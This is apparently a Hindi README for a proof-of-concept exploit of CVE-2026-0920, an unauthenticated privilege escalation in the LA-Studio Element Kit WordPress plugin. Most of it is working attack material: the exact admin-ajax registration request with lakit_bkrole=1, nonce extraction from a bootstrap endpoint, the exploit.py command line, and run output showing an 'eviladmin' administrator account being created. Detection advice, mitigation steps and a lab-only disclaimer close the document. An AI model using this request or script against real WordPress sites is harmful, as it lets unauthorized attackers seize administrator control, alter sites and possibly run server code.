
CVE-2026-0920 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो LA-Studio Element Kit WordPress प्लगइन में एक अनप्रमाणित विशेषाधिकार वृद्धि है, जो व्यवस्थापक खातों के निर्माण की अनुमति देता है।
CVE-2026-0920 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो LA-Studio Element Kit WordPress प्लगइन में एक बिना प्रमाणीकरण के विशेषाधिकार-वृद्धि भेद्यता है।
यह भेद्यता एक बिना प्रमाणीकरण वाले हमलावर को प्लगइन की पंजीकरण कार्यक्षमता का दुरुपयोग करके व्यवस्थापक विशेषाधिकारों (administrator privileges) के साथ एक WordPress खाता बनाने की अनुमति देती है।
इस रिपॉजिटरी में अधिकृत सुरक्षा अनुसंधान, भेद्यता सत्यापन, और नियंत्रित प्रयोगशाला वातावरण के लिए डिज़ाइन किया गया एक Python प्रूफ ऑफ कॉन्सेप्ट शामिल है।
| गुण (Property) | मान (Value) |
|---|---|
| CVE | CVE-2026-0920 |
| विक्रेता (Vendor) | LA-Studio |
| उत्पाद (Product) | Element Kit |
| प्लेटफ़ॉर्म (Platform) | WordPress |
| भेद्यता (Vulnerability) | बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (Unauthenticated Privilege Escalation) |
| प्रमाणीकरण आवश्यक (Authentication Required) | नहीं (No) |
| CWE | CWE-269 |
| प्रभाव (Impact) | व्यवस्थापक खाता निर्माण (Administrator account creation) |
| PoC | exploit.py |
यह भेद्यता प्लगइन की पंजीकरण कार्यक्षमता में मौजूद है, जहाँ हमलावर-नियंत्रित पंजीकरण डेटा नव निर्मित WordPress खाते को सौंपे गए विशेषाधिकार को प्रभावित कर सकता है।
कमजोर पैरामीटर है:
lakit_bkrole
पंजीकरण के दौरान एक उन्नत भूमिका मान प्रदान करके, एक बिना प्रमाणीकरण वाला हमलावर नव निर्मित खाते को WordPress व्यवस्थापक विशेषाधिकार प्राप्त करने का कारण बन सकता है।
LA-Studio Element Kit AJAX-आधारित पंजीकरण हैंडलर के माध्यम से उपयोगकर्ताओं को पंजीकृत करने की कार्यक्षमता प्रदान करता है।
कमजोर प्रवाह निम्न के माध्यम से एक पंजीकरण तंत्र उजागर करता है:
/wp-admin/admin-ajax.php
अनुरोध AJAX क्रिया का उपयोग करता है:
lakit_ajax
और निम्न का उपयोग करके एक पंजीकरण ऑपरेशन करता है:
{
"action": "register"
}
सुरक्षा समस्या इसलिए होती है क्योंकि सर्वर-साइड पंजीकरण तर्क एक बिना प्रमाणीकरण वाले क्लाइंट को निम्न के माध्यम से एक विशेषाधिकार प्राप्त भूमिका मान प्रदान करने से ठीक से नहीं रोकता है:
lakit_bkrole=1
इसलिए एक हमलावर एक पंजीकरण अनुरोध का निर्माण कर सकता है जिसके परिणामस्वरूप administrator भूमिका के साथ एक WordPress खाते का निर्माण होता है।
हमले को करने के लिए किसी मौजूदा WordPress खाते की आवश्यकता नहीं है।
PoC एक तीन-चरणीय प्रक्रिया करता है:
┌──────────────────────┐
│ Bootstrap Endpoint │
│ │
│ Obtain nonce and │
│ plugin information │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Registration Request │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Verification │
│ │
│ Locate created user │
│ Confirm administrator│
│ role │
└──────────────────────┘
एक्सप्लॉइट केवल पंजीकरण प्रतिक्रिया पर निर्भर नहीं करता है।
इसके बजाय, यह सत्यापित करता है कि नव निर्मित खाता वास्तव में मौजूद है और उसके पास व्यवस्थापक विशेषाधिकार हैं।
पहला अनुरोध लक्षित करता है:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
उदाहरण:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
एक कमजोर प्रयोगशाला उदाहरण वापस कर सकता है:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
PoC निम्न से nonce निकालता है:
"nonce": "577023f674"
फिर nonce को पंजीकरण अनुरोध को प्रदान किया जाता है।
Bootstrap प्रतिक्रिया वर्तमान में पंजीकृत उपयोगकर्ताओं को भी उजागर कर सकती है, जो PoC को शोषण से पहले और बाद में उपयोगकर्ता सूची की तुलना करने की अनुमति देती है।
PoC पंजीकरण अनुरोध को यहाँ भेजता है:
/wp-admin/admin-ajax.php
अनुरोध उपयोग करता है:
action=lakit_ajax
एक नेस्टेड पंजीकरण क्रिया के साथ:
action=register
एक प्रतिनिधि अनुरोध है:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
प्रासंगिक पंजीकरण डेटा है:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
सुरक्षा-संवेदनशील पैरामीटर है:
lakit_bkrole=1
अनुरोध बिना किसी प्रमाणित WordPress सत्र के किया जाता है।
एक सफल पंजीकरण अनुरोध HTTP 200 OK प्रतिक्रिया लौटाता है।
उदाहरण:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
JSON प्रतिक्रिया इस प्रकार संरचित है:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
PoC रिपोर्ट करता है:
[+] User creation appears successful.
हालाँकि, PoC इस प्रतिक्रिया को अपने आप में विशेषाधिकार वृद्धि का पर्याप्त प्रमाण नहीं मानता है।
खाते का सत्यापन अगले चरण में किया जाता है।
पंजीकरण के बाद, PoC फिर से bootstrap endpoint का अनुरोध करता है:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
प्रतिक्रिया में अब नव निर्मित खाता शामिल है।
उदाहरण:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
महत्वपूर्ण साक्ष्य है:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
यह पुष्टि करता है कि हमलावर-नियंत्रित खाता व्यवस्थापक विशेषाधिकारों के साथ बनाया गया था।
एक सामान्य बिना प्रमाणीकरण के पंजीकरण प्रक्रिया को एक प्रतिबंधित भूमिका जैसे कि:
subscriber
के साथ एक खाता बनाना चाहिए।
क्लाइंट पर एक विशेषाधिकार प्राप्त WordPress भूमिका का चयन करने के लिए भरोसा नहीं किया जाना चाहिए।
कमजोर प्रवाह प्रभावी रूप से अनुमति देता है:
Unauthenticated attacker
|
v
Registration endpoint
|
v
Attacker-controlled role parameter
|
v
WordPress user creation
|
v
administrator
यह पूर्व प्रमाणीकरण की आवश्यकता के बिना इच्छित विशेषाधिकार सीमा को पार करता है।
PoC को आवश्यकता है:
Python 3
Network access to the target
A vulnerable LA-Studio Element Kit installation
कोई WordPress क्रेडेंशियल आवश्यक नहीं हैं।
लक्ष्य पते और पोर्ट का उपयोग करके एक्सप्लॉइट चलाएँ:
python exploit.py -t 127.0.0.1 -p 8103
सिंटैक्स है:
python exploit.py -t <target> -p <port>
उदाहरण के लिए:
python exploit.py -t 127.0.0.1 -p 8103
एक सफल शोषण रन इस प्रकार दिखता है:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
महत्वपूर्ण सत्यापन चरण हैं:
[+] User creation appears successful.
इसके बाद:
[+] User 'eviladmin' found. Roles: ['administrator']
और अंत में:
[+] Confirmed administrator privilege!
अंतिम संदेश इंगित करता है कि PoC ने केवल एक सफल HTTP प्रतिक्रिया प्राप्त करने के बजाय विशेषाधिकार वृद्धि को सत्यापित किया है।
पूर्ण PoC निष्पादन को संक्षेप में प्रस्तुत किया जा सकता है:
1. Target specified
|
v
2. Bootstrap endpoint requested
|
v
3. Registration nonce extracted
|
v
4. Existing users enumerated
|
v
5. Malicious registration request submitted
|
v
6. New account created
|
v
7. Bootstrap endpoint queried again
|
v
8. New account located
|
v
9. Account role checked
|
v
10. administrator privilege confirmed
GET /wp-json/cve-2026-0920/v1/bootstrap
उद्देश्य:
- Identify the plugin
- Obtain the nonce
- Obtain the registration endpoint
- Record existing users
POST /wp-admin/admin-ajax.php
महत्वपूर्ण पैरामीटर:
action=lakit_ajax
_nonce=<nonce>
actions=<registration JSON>
पंजीकरण डेटा:
username=<attacker-controlled username>
email=<attacker-controlled email>
password=<attacker-controlled password>
password-confirm=<attacker-controlled password>
lakit_bkrole=1
उद्देश्य:
Create the attacker-controlled account.
GET /wp-json/cve-2026-0920/v1/bootstrap
उद्देश्य:
- Confirm the account exists
- Inspect the account's role
- Verify administrator privileges
सफल शोषण की पुष्टि तब होती है जब प्रतिक्रिया में निम्न के साथ उत्पन्न खाता होता है:
"roles": [
"administrator"
]
सफल शोषण एक बिना प्रमाणीकरण वाले हमलावर को एक WordPress व्यवस्थापक खाता देता है।
WordPress इंस्टॉलेशन के आधार पर, व्यवस्थापक पहुँच एक हमलावर को अनुमति दे सकती है:
- Modify site content
- Create additional privileged accounts
- Modify plugins
- Modify themes
- Change WordPress settings
- Access privileged administrative functionality
- Modify application data
- Potentially execute server-side code through available WordPress functionality
अंतिम प्रभाव होस्टिंग कॉन्फ़िगरेशन, सक्षम प्लगइन्स, WordPress सुरक्षा नियंत्रण, और उपलब्ध व्यवस्थापकीय कार्यक्षमता पर निर्भर करता है।
रक्षकों को निम्न से जुड़े अप्रत्याशित अनुरोधों की निगरानी करनी चाहिए:
/wp-admin/admin-ajax.php
इसके साथ संयुक्त:
action=lakit_ajax
और पंजीकरण अनुरोध जिनमें शामिल है:
lakit_bkrole
अप्रत्याशित WordPress व्यवस्थापक खातों की भी जाँच की जानी चाहिए।
एक विशेष रूप से उपयोगी रक्षात्मक जाँच हाल ही में बनाए गए खातों का ऑडिट करना और उनके टाइमस्टैम्प और भूमिकाओं की तुलना वैध व्यवस्थापकीय गतिविधि से करना है।
प्राथमिक शमन LA-Studio Element Kit को सुरक्षा फिक्स वाले संस्करण में अपडेट करना है।
व्यवस्थापकों को भी यह करना चाहिए:
- Review existing administrator accounts
- Remove unauthorized accounts
- Audit recent WordPress user creation
- Monitor suspicious admin-ajax requests
- Restrict unnecessary exposure of WordPress administrative functionality
- Keep WordPress and installed plugins up to date
यदि समझौते का संदेह है, तो प्रभावित WordPress क्रेडेंशियल घुमाएँ और अतिरिक्त अनधिकृत संशोधनों की जाँच करें।
PoC का परीक्षण एक नियंत्रित प्रयोगशाला वातावरण में किया गया था:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
सफल परीक्षण के परिणामस्वरूप:
User: eviladmin
Role: administrator
यह प्रोजेक्ट अधिकृत सुरक्षा अनुसंधान, भेद्यता सत्यापन, और शैक्षिक प्रयोगशाला उपयोग के लिए प्रदान किया गया है।
केवल उन प्रणालियों का परीक्षण करें जिनके आप स्वामी हैं या जिनका आकलन करने की आपके पास स्पष्ट अनुमति है।
इस PoC का उपयोग बिना प्राधिकरण के प्रणालियों के विरुद्ध न करें।